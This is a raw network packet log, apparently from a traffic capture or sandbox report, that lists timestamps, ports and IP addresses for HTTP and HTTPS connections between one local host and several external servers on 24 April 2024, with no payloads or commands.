Apr 24, 2024 10:27:12.075944901 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.075994015 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.076041937 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.076061010 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.076088905 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.076112986 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.076190948 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.076240063 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.077595949 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.077651978 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.079883099 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.079936028 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.079982996 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.080003023 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.080030918 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.080051899 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.080121040 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.080168009 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.080203056 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.080250025 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.080284119 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.080332041 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.080336094 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.080355883 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.080387115 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.080404043 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.080420017 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.080468893 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.080521107 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.080569983 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.080612898 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.080658913 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.080676079 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.080722094 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.080724001 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.080768108 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.080840111 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.080879927 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.080885887 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.080924988 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.080941916 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.080961943 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.080987930 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.081011057 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.081090927 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.081136942 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.081142902 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.081187963 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.081195116 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.081238985 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.081249952 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.081295013 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.081311941 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.081357956 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.081378937 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.081424952 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.081429005 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.081463099 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.081471920 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.081506968 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.081605911 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.081650019 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.081653118 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.081696987 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.081729889 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.081773996 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.081794024 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.081837893 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.083718061 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.083745956 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.083776951 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.083796024 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.084264994 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.084287882 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.084341049 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.084345102 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.084359884 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.084366083 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.084393978 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.084420919 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.084722042 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.084817886 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.084827900 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.084881067 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.086134911 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.086168051 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.086200953 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.086226940 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.086437941 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.086488962 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.086544037 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.086592913 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.380009890 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.380042076 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.380062103 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.380075932 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.380119085 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.380119085 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.380170107 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.380211115 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.380266905 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.380306959 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.380341053 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.380379915 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.380458117 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.380479097 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.380501032 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.380520105 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.381170034 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.381213903 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.381294966 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.381314039 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.381331921 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.381339073 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.381364107 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.381387949 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.381669044 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.381710052 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.381861925 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.381880999 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.381906033 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.381930113 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.381968975 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.382008076 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.382237911 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.382277966 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.382335901 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.382378101 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.382456064 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.382473946 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.382498026 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.382517099 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.382523060 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.382558107 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.382733107 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.382751942 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.382774115 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.382807016 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.382841110 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.382858992 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.382883072 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.382914066 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.382947922 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.382992029 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.383002043 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.383021116 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.383048058 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.383095026 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.383151054 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.383192062 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.383335114 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.383354902 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.383378029 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.383414984 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.383460045 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.383502960 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.383598089 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.383616924 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.383645058 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.383668900 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.383745909 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.383786917 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.383837938 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.383877039 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.384005070 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.384047031 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.384049892 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.384094954 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.384180069 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.384197950 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.384222984 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.384244919 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.384316921 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.384335995 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.384356976 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.384397030 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.384464025 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.384483099 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.384505033 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.384537935 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.385165930 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.385188103 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.385210037 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.385231972 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.387995958 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.388055086 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.389096975 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.389147043 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.389312029 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.389360905 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.390192986 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.390234947 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.390248060 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.390281916 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.390316010 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.390335083 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.390358925 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.390396118 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.390491009 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.390535116 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.390578032 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.390595913 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.390624046 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.390661955 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.390886068 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.390928030 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.391237020 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.391275883 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.392931938 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.392951965 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.393001080 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.393004894 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.393034935 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.393052101 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.393059969 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.393098116 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.393099070 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.393116951 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.393141031 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.393162966 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.393424988 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.393462896 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.393470049 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.393508911 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.393585920 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.393630981 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.393632889 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.393673897 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.393675089 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.393718958 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.393773079 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.393832922 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.393867016 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.393922091 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.393954039 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.393996000 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.394056082 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.394102097 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.394134998 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.394179106 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.394181013 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.394215107 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.394233942 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.394258022 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.394452095 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.394471884 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.394496918 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.394516945 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.394543886 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.394582987 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.394587040 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.394623995 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.394656897 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.394705057 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.394948006 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.394965887 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.394992113 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.394999027 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.395024061 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.395056009 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.395102024 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.395147085 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.395214081 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.395253897 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.395286083 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.395288944 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.395318031 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.395359993 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.395391941 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.395394087 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.395425081 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.395440102 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.395467043 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.395473003 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.395517111 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.395530939 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.395549059 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.395579100 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.395600080 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.395627022 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.395669937 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.395670891 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.395688057 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.395714998 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.395736933 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.460238934 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.460274935 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.460294008 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.460324049 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.460347891 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.460556984 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.460594893 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.460602045 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.460613966 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.460666895 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.460922956 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.460942984 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.460949898 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.460963964 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.460993052 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.461000919 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.461051941 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.461097002 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.461117029 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.461148024 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.461174011 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.495198011 CEST	49733	80	192.168.2.4	175.119.10.231
Apr 24, 2024 10:27:12.803002119 CEST	80	49733	175.119.10.231	192.168.2.4
Apr 24, 2024 10:27:12.876018047 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:13.080916882 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:13.081382036 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:13.117598057 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:13.382986069 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:13.444986105 CEST	49737	443	192.168.2.4	23.66.133.162
Apr 24, 2024 10:27:13.445031881 CEST	443	49737	23.66.133.162	192.168.2.4
Apr 24, 2024 10:27:13.445102930 CEST	49737	443	192.168.2.4	23.66.133.162
Apr 24, 2024 10:27:13.458868027 CEST	49737	443	192.168.2.4	23.66.133.162
Apr 24, 2024 10:27:13.458906889 CEST	443	49737	23.66.133.162	192.168.2.4
Apr 24, 2024 10:27:13.797857046 CEST	443	49737	23.66.133.162	192.168.2.4
Apr 24, 2024 10:27:13.797956944 CEST	49737	443	192.168.2.4	23.66.133.162
Apr 24, 2024 10:27:13.865952969 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:13.866007090 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:13.866045952 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:13.866086006 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:13.866085052 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:13.866161108 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:13.866161108 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:13.998918056 CEST	49737	443	192.168.2.4	23.66.133.162
Apr 24, 2024 10:27:13.998951912 CEST	443	49737	23.66.133.162	192.168.2.4
Apr 24, 2024 10:27:14.000066996 CEST	443	49737	23.66.133.162	192.168.2.4
Apr 24, 2024 10:27:14.000144005 CEST	49737	443	192.168.2.4	23.66.133.162
Apr 24, 2024 10:27:14.001991034 CEST	49737	443	192.168.2.4	23.66.133.162
Apr 24, 2024 10:27:14.048110962 CEST	443	49737	23.66.133.162	192.168.2.4
